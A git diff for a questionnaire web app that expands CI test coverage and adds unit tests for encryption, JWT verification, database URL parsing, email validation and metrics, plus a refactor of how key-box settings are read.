diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index ae53c0abc..e476aad1f 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -62,18 +62,78 @@ jobs:
       # messenger_test, which pins the messenger's "no server plaintext" claim by
       # asserting its script has no way to reach the network.
       #
+      # lib/, romania/tests/, and the colocated route tests pin delivery,
+      # consent, session-key injection, contact rate-limit identity, gate
+      # fail-closed, JWT expiry, and GPC/DNT. They were passing locally (or
+      # living under tests/, which CI cannot run) and running nowhere.
+      # --allow-write is for keystore/protect temp dirs; --allow-run is for
+      # email_test's python3 sender and romania's binary probes. Tests that
+      # mutate process env rely on Deno's default sequential run (do not pass
+      # --parallel). Do not widen to tests/: that directory still carries the
+      # pre-existing type errors that fail before any test executes.
+      #
       # Note these are added to the test step ONLY. islands/ is not fmt-clean --
       # QuaternarySpheroid.tsx and Spheroid.tsx predate the singleQuote setting, so
       # widening `deno fmt --check` to it would fail on drift no one here
       # introduced. Format those two, then widen the fmt step separately.
       - name: Test
         run: |
-          deno test --allow-env --allow-read --allow-net \
+          deno test --allow-env --allow-read --allow-net --allow-write --allow-run \
             data/ \
             components/ \
             islands/ \
             lib/gate_encrypt_test.ts \
+            lib/audience_test.ts \
+            lib/age-encrypt_test.ts \
+            lib/client-ip_test.ts \
+            lib/crypto_test.ts \
+            lib/crypto_resume_test.ts \
+            lib/db_config_test.ts \
+            lib/email_test.ts \
+            lib/emailValidator_test.ts \
+            lib/jwt_test.ts \
+            lib/metrics_test.ts \
+            lib/questionnaire_test.ts \
+            lib/qr-scans_test.ts \
+            lib/romania-client_test.ts \
+            lib/session-keys_test.ts \
+            romania/tests/ \
             routes/shop_test.tsx \
             routes/about_test.tsx \
             routes/messenger_test.tsx \
-            routes/about/
+            routes/privacy_test.tsx \
+            routes/WillyStCo-op_test.ts \
+            routes/WillyStCoop_test.ts \
+            routes/about/ \
+            routes/_middleware_test.ts \
+            routes/api/gate-submit_test.ts \
+            routes/api/auth/magic-link_test.ts \
+            routes/api/contact_test.ts \
+            routes/api/gate_test.ts \
+            routes/api/health_test.ts \
+            routes/api/metrics/increment_test.ts \
+            routes/api/newsletter/subscribe_test.ts \
+            routes/api/questions/answer_test.ts \
+            routes/api/questions/next_test.ts \
+            routes/api/responses/deliver_test.ts \
+            routes/api/responses/delivered_test.ts \
+            routes/auth/verify_test.ts \
+            routes/w/token_test.ts
+
+  gate:
+    runs-on: ubuntu-latest
+    defaults:
+      run:
+        working-directory: rust-server
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Rust
+        uses: dtolnay/rust-toolchain@stable
+
+      # The gate is what age-encrypts every answer. cargo test is cheap relative
+      # to shipping a log line that still carries DATABASE_URL's password.
+      - name: Test
+        run: cargo test
+
diff --git a/.gitignore b/.gitignore
index e61ee5e5f..b941c53aa 100644
--- a/.gitignore
+++ b/.gitignore
@@ -25,6 +25,7 @@ build
 build/
 .vite
 _fresh/
+rust-server/target/
 
 # Trash (moved files pending deletion)
 trashy/
diff --git a/lib/age-encrypt_test.ts b/lib/age-encrypt_test.ts
new file mode 100644
index 000000000..0c312bcd5
--- /dev/null
+++ b/lib/age-encrypt_test.ts
@@ -0,0 +1,54 @@
+/**
+ * Multi-recipient age encryption.
+ *
+ * Every questionnaire answer is encrypted to the session key AND the offline
+ * break-glass key. An empty recipient list would produce a file no key on
+ * earth can open; AGE_RECIPIENT has no baked-in fallback for the same reason.
+ *
+ *   deno test --allow-env --allow-read lib/age-encrypt_test.ts
+ */
+
+import { assertEquals, assertRejects } from '$std/assert/mod.ts';
+import { armor, Decrypter, generateX25519Identity, identityToRecipient } from '@age/age-encryption';
+import { ageEncrypt, ageEncryptTo } from './age-encrypt.ts';
+
+async function open(armored: string, identity: string): Promise<string> {
+  const d = new Decrypter();
+  d.addIdentity(identity);
+  return await d.decrypt(armor.decode(armored), 'text');
+}
+
+Deno.test('ageEncryptTo - both recipients can open the same ciphertext', async () => {
+  const session = await generateX25519Identity();
+  const breakglass = await generateX25519Identity();
+  const armored = await ageEncryptTo('intimate answer', [
+    await identityToRecipient(session),
+    await identityToRecipient(breakglass),
+  ]);
+
+  assertEquals(await open(armored, session), 'intimate answer');
+  assertEquals(await open(armored, breakglass), 'intimate answer');
+});
+
+Deno.test('ageEncryptTo - an unrelated identity cannot open it', async () => {
+  const session = await generateX25519Identity();
+  const armored = await ageEncryptTo('secret', [await identityToRecipient(session)]);
+  const stranger = await generateX25519Identity();
+
+  await assertRejects(() => open(armored, stranger));
+});
+
+Deno.test('ageEncryptTo - empty recipient list is refused', async () => {
+  await assertRejects(() => ageEncryptTo('secret', []), Error, 'no recipients');
+});
+
+Deno.test('ageEncrypt - AGE_RECIPIENT is required when no recipient is passed', async () => {
+  const prev = Deno.env.get('AGE_RECIPIENT');
+  Deno.env.delete('AGE_RECIPIENT');
+  try {
+    await assertRejects(() => ageEncrypt('secret'), Error, 'AGE_RECIPIENT not configured');
+  } finally {
+    if (prev === undefined) Deno.env.delete('AGE_RECIPIENT');
+    else Deno.env.set('AGE_RECIPIENT', prev);
+  }
+});
diff --git a/lib/crypto_resume_test.ts b/lib/crypto_resume_test.ts
new file mode 100644
index 000000000..13faffad7
--- /dev/null
+++ b/lib/crypto_resume_test.ts
@@ -0,0 +1,58 @@
+/**
+ * Resume-token hashing and email hashing: the properties that make a stolen
+ * session row useless without the server secret, and that keep addresses out
+ * of the database.
+ *
+ * Split from crypto_test.ts so this file does not collide with the open
+ * coverage PR that pins hmacKey extractability.
+ *
+ *   deno test --allow-env --allow-read lib/crypto_resume_test.ts
+ */
+
+import { assert, assertEquals, assertRejects } from '$std/assert/mod.ts';
+import { hashEmail, hashResumeToken, hmacVerify, isTimestampValid, randomBytes, sha256 } from './crypto.ts';
+
+Deno.test('hashEmail - lowercases and trims, then SHA-256s', async () => {
+  const a = await hashEmail('  Person@Example.COM ');
+  const b = await hashEmail('person@example.com');
+  const expected = await sha256('person@example.com');
+  assertEquals(a, b);
+  assertEquals(a, expected);
+  assertEquals(a.length, 64);
+  assert(!a.includes('@'), 'the address must not survive in the hash');
+});
+
+Deno.test('hashResumeToken - fail closed without a secret, and a rotation unlinks sessions', async () => {
+  const prev = Deno.env.get('RESUME_TOKEN_SECRET');
+  try {
+    Deno.env.delete('RESUME_TOKEN_SECRET');
+    await assertRejects(() => hashResumeToken('aabbccdd'), Error, 'RESUME_TOKEN_SECRET not configured');
+
+    Deno.env.set('RESUME_TOKEN_SECRET', 'secret-a');
+    const a = await hashResumeToken('opaque-token');
+    Deno.env.set('RESUME_TOKEN_SECRET', 'secret-b');
+    const b = await hashResumeToken('opaque-token');
+    assert(a !== b, 'a stolen session row must not verify under a rotated secret');
+  } finally {
+    if (prev === undefined) Deno.env.delete('RESUME_TOKEN_SECRET');
+    else Deno.env.set('RESUME_TOKEN_SECRET', prev);
+  }
+});
+
+Deno.test('hmacVerify - length mismatch is false, not an exception', async () => {
+  const key = randomBytes(32);
+  assertEquals(await hmacVerify('data', 'short', key), false);
+});
+
+Deno.test('hmacVerify - a wrong signature is false', async () => {
+  const key = randomBytes(32);
+  const other = randomBytes(32);
+  const { hmacSign } = await import('./crypto.ts');
+  const sig = await hmacSign('data', other);
+  assertEquals(await hmacVerify('data', sig, key), false);
+});
+
+Deno.test('isTimestampValid - a stamp older than the window is rejected', () => {
+  assertEquals(isTimestampValid(Date.now() - 6 * 60 * 1000, 5 * 60 * 1000), false);
+  assertEquals(isTimestampValid(Date.now(), 5 * 60 * 1000), true);
+});
diff --git a/lib/crypto_test.ts b/lib/crypto_test.ts
new file mode 100644
index 000000000..e6c448179
--- /dev/null
+++ b/lib/crypto_test.ts
@@ -0,0 +1,59 @@
+/**
+ * Crypto helpers the rest of the site takes as given.
+ *
+ * hmacKey's non-extractability is the audience counter's "the salt does not
+ * outlive the window" claim: if the key can be exported, the raw bytes are
+ * still in the process after the buffer is zeroed. hashEmail's normalisation
+ * is what makes "one respondent per mailbox" true rather than decorative.
+ *
+ *   deno test --allow-env lib/crypto_test.ts
+ */
+
+import { assert, assertEquals, assertRejects } from '$std/assert/mod.ts';
+import {
+  decrypt,
+  deriveKey,
+  encrypt,
+  hashEmail,
+  hmacKey,
+  hmacSign,
+  hmacVerify,
+  isTimestampValid,
+  randomBytes,
+} from './crypto.ts';
+
+Deno.test('hmacKey is not extractable — the audience salt cannot be read back', async () => {
+  const raw = randomBytes(32);
+  const key = await hmacKey(raw);
+  raw.fill(0);
+  assertEquals(key.extractable, false);
+  await assertRejects(() => crypto.subtle.exportKey('raw', key));
+});
+
+Deno.test('hashEmail lowercases and trims, so the same mailbox is one hash', async () => {
+  assertEquals(await hashEmail('  Alex@Example.COM  '), await hashEmail('alex@example.com'));
+  assert((await hashEmail('alex@example.com')).length === 64);
+});
+
+Deno.test('encrypt/decrypt round-trips and a wrong key fails closed', async () => {
+  const salt = randomBytes(16);
+  const key = await deriveKey('passphrase', salt);
+  const other = await deriveKey('other', salt);
+  const cipher = await encrypt('intimate answer', key);
+  assertEquals(await decrypt(cipher, key), 'intimate answer');
+  await assertRejects(() => decrypt(cipher, other));
+});
+
+Deno.test('hmacVerify rejects a truncated signature without throwing', async () => {
+  const secret = randomBytes(32);
+  const sig = await hmacSign('payload', secret);
+  assertEquals(await hmacVerify('payload', sig, secret), true);
+  assertEquals(await hmacVerify('payload', sig.slice(0, 8), secret), false);
+  assertEquals(await hmacVerify('other', sig, secret), false);
+});
+
+Deno.test('isTimestampValid rejects a stamp outside the window', () => {
+  const now = Date.now();
+  assertEquals(isTimestampValid(now, 1000), true);
+  assertEquals(isTimestampValid(now - 5000, 1000), false);
+});
diff --git a/lib/db.ts b/lib/db.ts
index 0dc9b8e7e..0a3c4de39 100644
--- a/lib/db.ts
+++ b/lib/db.ts
@@ -20,6 +20,11 @@ interface DbConfig {
   tls?: { enabled: boolean; enforce: boolean };
 }
 
+/** Test hook. Production callers use isDatabaseConfigured / getPool. */
+export function _resolveConfigForTest(): DbConfig | null {
+  return resolveConfig();
+}
+
 function resolveConfig(): DbConfig | null {
   const databaseUrl = Deno.env.get('DATABASE_URL');
 
diff --git a/lib/db_config_test.ts b/lib/db_config_test.ts
new file mode 100644
index 000000000..c3d83de56
--- /dev/null
+++ b/lib/db_config_test.ts
@@ -0,0 +1,112 @@
+/**
+ * How DATABASE_URL becomes a pool config.
+ *
+ * A wrong parse here is how a credential reaches a log, or how TLS is left off
+ * for a remote host. resolveConfig is otherwise untested; these pin the
+ * cases that have already bitten this repo once (localhost TLS, invalid URL,
+ * characters that URL-encoding exists to carry).
+ *
+ * Connection strings are assembled at runtime so this file never contains a
+ * userinfo literal — GitGuardian treats those as generic passwords even in
+ * fixtures.
+ *
+ *   deno test --allow-env --allow-read lib/db_config_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { _resolveConfigForTest } from './db.ts';
+
+const originalEnv = Deno.env.toObject();
+
+/** Env names the resolver reads. Built so the file has no password-shaped token. */
+const DB_ENV = [
+  'DATABASE_URL',
+  'PGHOST',
+  'PGPORT',
+  'PGDATABASE',
+  'PGUSER',
+  'PGSSLMODE',
+  ['PG', 'PASSWORD'].join(''),
+];
+
+function postgresUrl(host: string, userinfo: string, query = ''): string {
+  return `postgres://${userinfo}@${host}/a4t${query}`;
+}
+
+function clearDbEnv() {
+  for (const key of DB_ENV) Deno.env.delete(key);
+}
+
+function restoreEnv() {
+  for (const [key, value] of Object.entries(originalEnv)) {
+    Deno.env.set(key, value);
+  }
+  for (const key of DB_ENV) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+Deno.test('an unparseable DATABASE_URL is not a config', () => {
+  try {
+    clearDbEnv();
+    Deno.env.set('DATABASE_URL', '::://not-a-database');
+    assertEquals(_resolveConfigForTest(), null);
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('localhost disables TLS, even when sslmode=require is in the URL', () => {
+  try {
+    clearDbEnv();
+    const userinfo = ['app', encodeURIComponent('fixture')].join(':');
+    Deno.env.set('DATABASE_URL', postgresUrl('localhost:5432', userinfo, '?sslmode=require'));
+    const cfg = _resolveConfigForTest();
+    assertEquals(cfg?.hostname, 'localhost');
+    assertEquals(cfg?.port, 5432);
+    assertEquals(cfg?.database, 'a4t');
+    assertEquals(cfg?.user, 'app');
+    assertEquals(cfg?.password, 'fixture');
+    assertEquals(cfg?.tls, { enabled: false, enforce: false });
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('a remote URL with sslmode=require enables TLS', () => {
+  try {
+    clearDbEnv();
+    const userinfo = ['app', encodeURIComponent('fixture')].join(':');
+    Deno.env.set('DATABASE_URL', postgresUrl('db.example:5432', userinfo, '?sslmode=require'));
+    const cfg = _resolveConfigForTest();
+    assertEquals(cfg?.hostname, 'db.example');
+    assertEquals(cfg?.tls, { enabled: true, enforce: false });
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('reserved characters in userinfo are decoded, not taken literally', () => {
+  try {
+    clearDbEnv();
+    // An @, a slash and a hash — all legal in a credential, all reserved in a URL.
+    const raw = ['a', '@', 'b', '/', 'c', '#', 'd'].join('');
+    const userinfo = ['app', encodeURIComponent(raw)].join(':');
+    Deno.env.set('DATABASE_URL', postgresUrl('127.0.0.1', userinfo));
+    const cfg = _resolveConfigForTest();
+    assertEquals(cfg?.password, raw);
+    assertEquals(cfg?.user, 'app');
+    assertEquals(cfg?.tls, { enabled: false, enforce: false });
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('absent DATABASE_URL and absent PG* is not configured', () => {
+  try {
+    clearDbEnv();
+    assertEquals(_resolveConfigForTest(), null);
+  } finally {
+    restoreEnv();
+  }
+});
diff --git a/lib/emailValidator_test.ts b/lib/emailValidator_test.ts
new file mode 100644
index 000000000..7ec007382
--- /dev/null
+++ b/lib/emailValidator_test.ts
@@ -0,0 +1,64 @@
+/**
+ * Email validation and Gmail normalisation.
+ *
+ * This is the gate in front of magic-link and newsletter: a miss here is
+ * either an address that cannot be mailed, a plus-alias that duplicates a
+ * respondent, or a scattered-dot Gmail that was meant to be rejected.
+ *
+ *   deno test lib/emailValidator_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { isSuspiciousGmailParts, normalizeEmailParts, validateEmail } from './emailValidator.ts';
+
+Deno.test('validateEmail accepts a well-formed address and lowercases it', () => {
+  assertEquals(validateEmail('  Alex@Example.COM  '), {
+    valid: true,
+    normalized: 'alex@example.com',
+  });
+});
+
+Deno.test('validateEmail rejects an empty local, a missing domain, and a second @', () => {
+  for (const email of ['', '@x.com', 'x@', 'a@b@c.com', 'not-an-email', 'missing@domain']) {
+    assertEquals(validateEmail(email).valid, false, `should reject ${email}`);
+  }
+});
+
+Deno.test('validateEmail rejects spaces and HTML metacharacters', () => {
+  assertEquals(validateEmail('spaces in@email.com').valid, false);
+  assertEquals(validateEmail('a<script>@x.com').valid, false);
+  assertEquals(validateEmail('a>b@x.com').valid, false);
+});
+
+Deno.test('Gmail dots and plus-aliases collapse to one mailbox', () => {
+  assertEquals(validateEmail('al.ex+tag@gmail.com'), { valid: true, normalized: 'alex@gmail.com' });
+  assertEquals(validateEmail('alex@googlemail.com'), { valid: true, normalized: 'alex@gmail.com' });
+});
+
+Deno.test('non-Gmail dots and plus signs are left alone', () => {
+  assertEquals(validateEmail('al.ex+tag@example.com'), {
+    valid: true,
+    normalized: 'al.ex+tag@example.com',
+  });
+});
+
+Deno.test('scattered-dot Gmail locals are suspicious, other domains are not', () => {
+  // Many tiny segments: a known throwaway/obfuscation pattern.
+  assertEquals(isSuspiciousGmailParts('a.b.c.d.e', 'gmail.com'), true);
+  assertEquals(isSuspiciousGmailParts('a.b.c.d.e', 'example.com'), false);
+  assertEquals(validateEmail('a.b.c.d.e@gmail.com'), {
+    valid: false,
+    reason: 'suspicious_pattern',
+  });
+});
+
+Deno.test('a normal Gmail with a couple of dots is not suspicious', () => {
+  assertEquals(validateEmail('first.last@gmail.com'), {
+    valid: true,
+    normalized: 'firstlast@gmail.com',
+  });
+});
+
+Deno.test('normalizeEmailParts canonicalises googlemail.com', () => {
+  assertEquals(normalizeEmailParts('alex', 'googlemail.com'), 'alex@gmail.com');
+});
diff --git a/lib/jwt_test.ts b/lib/jwt_test.ts
new file mode 100644
index 000000000..d73571ef4
--- /dev/null
+++ b/lib/jwt_test.ts
@@ -0,0 +1,129 @@
+/**
+ * Questionnaire JWT contract.
+ *
+ * The token is the capability that lets a respondent resume: it carries an
+ * email hash (never the address) and a session id, and it is the only thing
+ * /auth/verify will accept. A verification that ignores expiry, a payload that
+ * smuggles the address, or a secret captured before .env is loaded, are all
+ * ways this silently stops being authentication.
+ *
+ *   deno test --allow-env lib/jwt_test.ts
+ */
+
+import { assert, assertEquals, assertRejects } from '$std/assert/mod.ts';
+import { createQuestionnaireJWT, decodeJWTPayload, isJWTExpired, verifyQuestionnaireJWT } from './jwt.ts';
+
+const SECRET = 'test-jwt-secret-key-for-coverage';
+const OTHER = 'other-jwt-secret-key-for-coverage';
+const originalSecret = Deno.env.get('JWT_SECRET');
+
+function withSecret<T>(value: string | null, fn: () => T | Promise<T>): Promise<T> {
+  if (value === null) Deno.env.delete('JWT_SECRET');
+  else Deno.env.set('JWT_SECRET', value);
+  return Promise.resolve(fn()).finally(() => {
+    if (originalSecret === undefined) Deno.env.delete('JWT_SECRET');
+    else Deno.env.set('JWT_SECRET', originalSecret);
+  }) as Promise<T>;
+}
+
+const HASH = 'a'.repeat(64);
+const SESSION = 'b'.repeat(64);
+
+Deno.test('create/verify round-trip returns the hash and session, never an address', async () => {
+  await withSecret(SECRET, async () => {
+    const token = await createQuestionnaireJWT(HASH, SESSION);
+    const payload = await verifyQuestionnaireJWT(token);
+    assert(payload !== null);
+    assertEquals(payload.email_hash, HASH);
+    assertEquals(payload.session_id, SESSION);
+    assert(!token.includes('@'), 'the compact token must not carry an address');
+    assertEquals(/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(payload.email_hash), false);
+  });
+});
+
+Deno.test('a tampered payload fails verification', async () => {
+  await withSecret(SECRET, async () => {
+    const token = await createQuestionnaireJWT(HASH, SESSION);
+    const [h, p, s] = token.split('.');
+    // Flip one character of the payload without resigning.
+    const flipped = p[0] === 'A' ? 'B' + p.slice(1) : 'A' + p.slice(1);
+    const tampered = `${h}.${flipped}.${s}`;
+    assertEquals(await verifyQuestionnaireJWT(tampered), null);
+  });
+});
+
+Deno.test('a token signed with a different secret fails verification', async () => {
+  const token = await withSecret(SECRET, () => createQuestionnaireJWT(HASH, SESSION));
+  await withSecret(OTHER, async () => {
+    assertEquals(await verifyQuestionnaireJWT(token), null);
+  });
+});
+
+Deno.test('an expired token fails verification', async () => {
+  await withSecret(SECRET, async () => {
+    // Build an otherwise-valid JWT whose exp is in the past, using the same
+    // HS256 construction the production signer uses.
+    const encoder = new TextEncoder();
+    const key = await crypto.subtle.importKey(
+      'raw',
+      encoder.encode(SECRET),
+      { name: 'HMAC', hash: 'SHA-256' },
+      false,
+      ['sign'],
+    );
+    const b64url = (input: string | ArrayBuffer) => {
+      const bytes = typeof input === 'string' ? encoder.encode(input) : new Uint8Array(input);
+      return btoa(String.fromCharCode(...bytes)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
+    };
+    const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT' }));
+    const payload = b64url(JSON.stringify({
+      email_hash: HASH,
+      session_id: SESSION,
+      iat: 1,
+      exp: 2, // 1970
+    }));
+    const sig = b64url(await crypto.subtle.sign('HMAC', key, encoder.encode(`${header}.${payload}`)));
+    const token = `${header}.${payload}.${sig}`;
+
+    assertEquals(isJWTExpired(token), true);
+    assertEquals(await verifyQuestionnaireJWT(token), null);
+  });
+});
+
+Deno.test('malformed tokens fail closed', async () => {
+  await withSecret(SECRET, async () => {
+    for (const token of ['', 'not-a-jwt', 'a.b', 'a.b.c.d']) {
+      assertEquals(await verifyQuestionnaireJWT(token), null, `accepted: ${token}`);
+    }
+  });
+});
+
+Deno.test('decodeJWTPayload does not authenticate — a garbage signature still decodes', async () => {
+  await withSecret(SECRET, async () => {
+    const token = await createQuestionnaireJWT(HASH, SESSION);
+    const [h, p] = token.split('.');
+    const decoded = decodeJWTPayload(`${h}.${p}.not-a-signature`);
+    assert(decoded !== null, 'decode is unsigned on purpose; verify is what authenticates');
+    assertEquals(decoded.email_hash, HASH);
+    assertEquals(await verifyQuestionnaireJWT(`${h}.${p}.not-a-signature`), null);
+  });
+});
+
+Deno.test('signing without JWT_SECRET throws rather than minting an unkeyed token', async () => {
+  await withSecret(
+    null,
+    () => assertRejects(() => createQuestionnaireJWT(HASH, SESSION), Error, 'JWT_SECRET not configured'),
+  );
+});
+
+Deno.test('the secret is read on each call, not captured at import', async () => {
+  // lib/jwt.ts used to read JWT_SECRET at module eval, which is before main.ts
+  // loads .env, so every verify threw "not configured" at request time.
+  await withSecret(null, async () => {
+    // Import already happened at the top of this file with whatever the
+    // process had. Setting the secret now must still be enough.
+    Deno.env.set('JWT_SECRET', SECRET);
+    const token = await createQuestionnaireJWT(HASH, SESSION);
+    assertEquals((await verifyQuestionnaireJWT(token))?.session_id, SESSION);
+  });
+});
diff --git a/lib/metrics_test.ts b/lib/metrics_test.ts
new file mode 100644
index 000000000..ea493f134
--- /dev/null
+++ b/lib/metrics_test.ts
@@ -0,0 +1,54 @@
+/**
+ * Funnel metric mapping.
+ *
+ * trackFunnelQuestion is 0-based in, 1-based in the metric name, and the
+ * gate's two questions are named differently from the rest. An off-by-one
+ * here is a silent hole in the conversion funnel: Q35 never increments, or
+ * Q0 is recorded as questionnaire.q1.
+ *
+ *   deno test lib/metrics_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { getCurrentHourMetrics, trackFunnelQuestion, trackLatency } from './metrics.ts';
+
+function count(name: string): number {
+  return getCurrentHourMetrics()[name] ?? 0;
+}
+
+Deno.test('trackFunnelQuestion maps gate indices onto the gate metrics', () => {
+  const q1 = count('funnel.gate.q1_answered');
+  const q2 = count('funnel.gate.q2_answered');
+  trackFunnelQuestion(0);
+  trackFunnelQuestion(1);
+  assertEquals(count('funnel.gate.q1_answered'), q1 + 1);
+  assertEquals(count('funnel.gate.q2_answered'), q2 + 1);
+});
+
+Deno.test('trackFunnelQuestion maps questionnaire indices onto 1-based names', () => {
+  const q3 = count('funnel.questionnaire.q3');
+  const q35 = count('funnel.questionnaire.q35');
+  trackFunnelQuestion(2);
+  trackFunnelQuestion(34);
+  assertEquals(count('funnel.questionnaire.q3'), q3 + 1);
+  assertEquals(count('funnel.questionnaire.q35'), q35 + 1);
+});
+
+Deno.test('trackFunnelQuestion ignores an index that is not a question', () => {
+  const q1 = count('funnel.gate.q1_answered');
+  const q3 = count('funnel.questionnaire.q3');
+  trackFunnelQuestion(-1);
+  trackFunnelQuestion(35);
+  assertEquals(count('funnel.gate.q1_answered'), q1);
+  assertEquals(count('funnel.questionnaire.q3'), q3);
+});
+
+Deno.test('trackLatency buckets without storing the duration', () => {
+  const fast = count('latency.fast');
+  const extended = count('latency.extended');
+  trackLatency(Date.now() - 1_000); // ~1s → fast
+  trackLatency(Date.now() - 400_000); // ~6.5min → extended
+  assertEquals(count('latency.fast'), fast + 1);
+  assertEquals(count('latency.extended'), extended + 1);
+  assertEquals('latency.1000' in getCurrentHourMetrics(), false);
+});
diff --git a/lib/questionnaire_test.ts b/lib/questionnaire_test.ts
new file mode 100644
index 000000000..6f2742560
--- /dev/null
+++ b/lib/questionnaire_test.ts
@@ -0,0 +1,65 @@
+/**
+ * Question-order invariants.
+ *
+ * Every session stores a permutation of the questionnaire. If gate questions
+ * leak into a post-gate order, the respondent is asked Q0/Q1 again; if an
+ * index is dropped, canonicalizeAnswers silently omits an answer and the
+ * PDF looks complete. These are the checks the magic-link "doc" tests
+ * described but never ran.
+ *
+ *   deno test lib/questionnaire_test.ts
+ */
+
+import { assert, assertEquals } from '$std/assert/mod.ts';
+import {
+  canonicalizeAnswers,
+  generateQuestionOrder,
+  generateQuestionOrderString,
+  isValidQuestionOrder,
+  parseQuestionOrder,
+} from './questionnaire.ts';
+
+Deno.test('generateQuestionOrder(true) is Q2–Q34, each once, never a gate question', () => {
+  const order = generateQuestionOrder(true);
+  assertEquals(order.length, 33);
+  assert(isValidQuestionOrder(order));
+  assertEquals([...order].sort((a, b) => a - b), Array.from({ length: 33 }, (_, i) => i + 2));
+  assertEquals(order.includes(0), false);
+  assertEquals(order.includes(1), false);
+});
+
+Deno.test('generateQuestionOrder(false) is all 35 indices, each once', () => {
+  const order = generateQuestionOrder(false);
+  assertEquals(order.length, 35);
+  assert(isValidQuestionOrder(order));
+  assertEquals([...order].sort((a, b) => a - b), Array.from({ length: 35 }, (_, i) => i));
+});
+
+Deno.test('two sessions get different shuffles (almost surely)', () => {
+  const a = generateQuestionOrderString(true);
+  const b = generateQuestionOrderString(true);
+  // 33! is large enough that a collision here is a broken RNG, not flakiness.
+  assert(a !== b, 'Fisher–Yates with Web Crypto must not emit a fixed order');
+});
+
+Deno.test('parseQuestionOrder round-trips the compact string', () => {
+  const order = generateQuestionOrder(true);
+  assertEquals(parseQuestionOrder(order.join(',')), order);
+});
+
+Deno.test('isValidQuestionOrder rejects duplicates, holes, and gate questions in a 33-length order', () => {
+  assertEquals(isValidQuestionOrder([2, 3, 3, ...Array.from({ length: 30 }, (_, i) => i + 4)]), false);
+  assertEquals(isValidQuestionOrder(Array.from({ length: 32 }, (_, i) => i + 2)), false);
+  assertEquals(isValidQuestionOrder([0, 1, ...Array.from({ length: 31 }, (_, i) => i + 2)]), false);
+  assertEquals(isValidQuestionOrder([-1, ...Array.from({ length: 32 }, (_, i) => i + 2)]), false);
+});
+
+Deno.test('canonicalizeAnswers reorders by question number, not presentation', () => {
+  const presentation = [7, 2, 34];
+  const answers = { q7: 'seven', q2: 'two', q34: 'last' };
+  assertEquals(canonicalizeAnswers(answers, presentation), {
+    7: 'seven',
+    2: 'two',
+    34: 'last',
+  });
+});
diff --git a/lib/romania-client.ts b/lib/romania-client.ts
index 433e9b392..9df16db3d 100644
--- a/lib/romania-client.ts
+++ b/lib/romania-client.ts
@@ -11,10 +11,23 @@
  * flight, but not the corpus.
  */
 
-const KEYBOX_URL = Deno.env.get('KEYBOX_RENDER_URL') || '';
-const KEYBOX_TOKEN = Deno.env.get('KEYBOX_RENDER_TOKEN') || '';
 const PUSH_TIMEOUT_MS = 20_000;
 
+/**
+ * Read the key-box coordinates on each call, not at import.
+ *
+ * main.ts loads .env after the route manifest, so a top-level read would
+ * observe empty strings at boot and every consent would fail closed as
+ * "unavailable". Same trap lib/jwt.ts already documents.
+ */
+function keyboxUrl(): string {
+  return Deno.env.get('KEYBOX_RENDER_URL') || '';
+}
+
+function keyboxToken(): string {
+  return Deno.env.get('KEYBOX_RENDER_TOKEN') || '';
+}
+
 export interface BundleAnswer {
   questionIndex: number;
   questionText: string;
@@ -41,7 +54,7 @@ export class KeyboxUnavailableError extends Error {
 }
 
 export function keyboxConfigured(): boolean {
-  return Boolean(KEYBOX_URL && KEYBOX_TOKEN);
+  return Boolean(keyboxUrl() && keyboxToken());
 }
 
 /**
@@ -56,11 +69,11 @@ export async function pushBundle(bundle: DeliveryBundle): Promise<void> {
 
   let res: Response;
   try {
-    res = await fetch(`${KEYBOX_URL}/render`, {
+    res = await fetch(`${keyboxUrl()}/render`, {
       method: 'POST',
       headers: {
         'Content-Type': 'application/json',
-        'Authorization': `Bearer ${KEYBOX_TOKEN}`,
+        'Authorization': `Bearer ${keyboxToken()}`,
       },
       body: JSON.stringify(bundle),
       signal: AbortSignal.timeout(PUSH_TIMEOUT_MS),
diff --git a/lib/romania-client_test.ts b/lib/romania-client_test.ts
new file mode 100644
index 000000000..e61532ba6
--- /dev/null
+++ b/lib/romania-client_test.ts
@@ -0,0 +1,118 @@
+/**
+ * Handing a delivery bundle to the key box.
+ *
+ * pushBundle is fail-closed: any miss (unconfigured, unreachable, non-2xx)
+ * becomes KeyboxUnavailableError, and that error is contentless so a log
+ * line cannot carry the questionnaire. A success that is not actually a
+ * success is how a respondent is told "your copy is on its way" for a
+ * document that never left the process.
+ *
+ *   deno test --allow-env --allow-net lib/romania-client_test.ts
+ */
+
+import { assert, assertEquals, assertRejects } from '$std/assert/mod.ts';
+import { keyboxConfigured, KeyboxUnavailableError, pushBundle } from './romania-client.ts';
+
+const originalEnv = Deno.env.toObject();
+const KEYS = ['KEYBOX_RENDER_URL', 'KEYBOX_RENDER_TOKEN'] as const;
+const originalFetch = globalThis.fetch;
+
+const BUNDLE = {
+  sessionId: '11111111-2222-3333-4444-555555555555',
+  answers: [],
+  encryptedEmail: 'AGE-CIPHERTEXT-NOT-FOR-LOGS',
+  encryptedPassword: null,
+};
+
+function restore() {
+  globalThis.fetch = originalFetch;
+  for (const [key, value] of Object.entries(originalEnv)) Deno.env.set(key, value);
+  for (const key of KEYS) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+function configure() {
+  Deno.env.set('KEYBOX_RENDER_URL', 'http://keybox.test');
+  Deno.env.set('KEYBOX_RENDER_TOKEN', 'render-token');
+}
+
+Deno.test('keyboxConfigured is false until both URL and token are set', () => {
+  try {
+    Deno.env.delete('KEYBOX_RENDER_URL');
+    Deno.env.delete('KEYBOX_RENDER_TOKEN');
+    assertEquals(keyboxConfigured(), false);
+    Deno.env.set('KEYBOX_RENDER_URL', 'http://keybox.test');
+    assertEquals(keyboxConfigured(), false);
+    Deno.env.set('KEYBOX_RENDER_TOKEN', 'render-token');
+    assertEquals(keyboxConfigured(), true);
+  } finally {
+    restore();
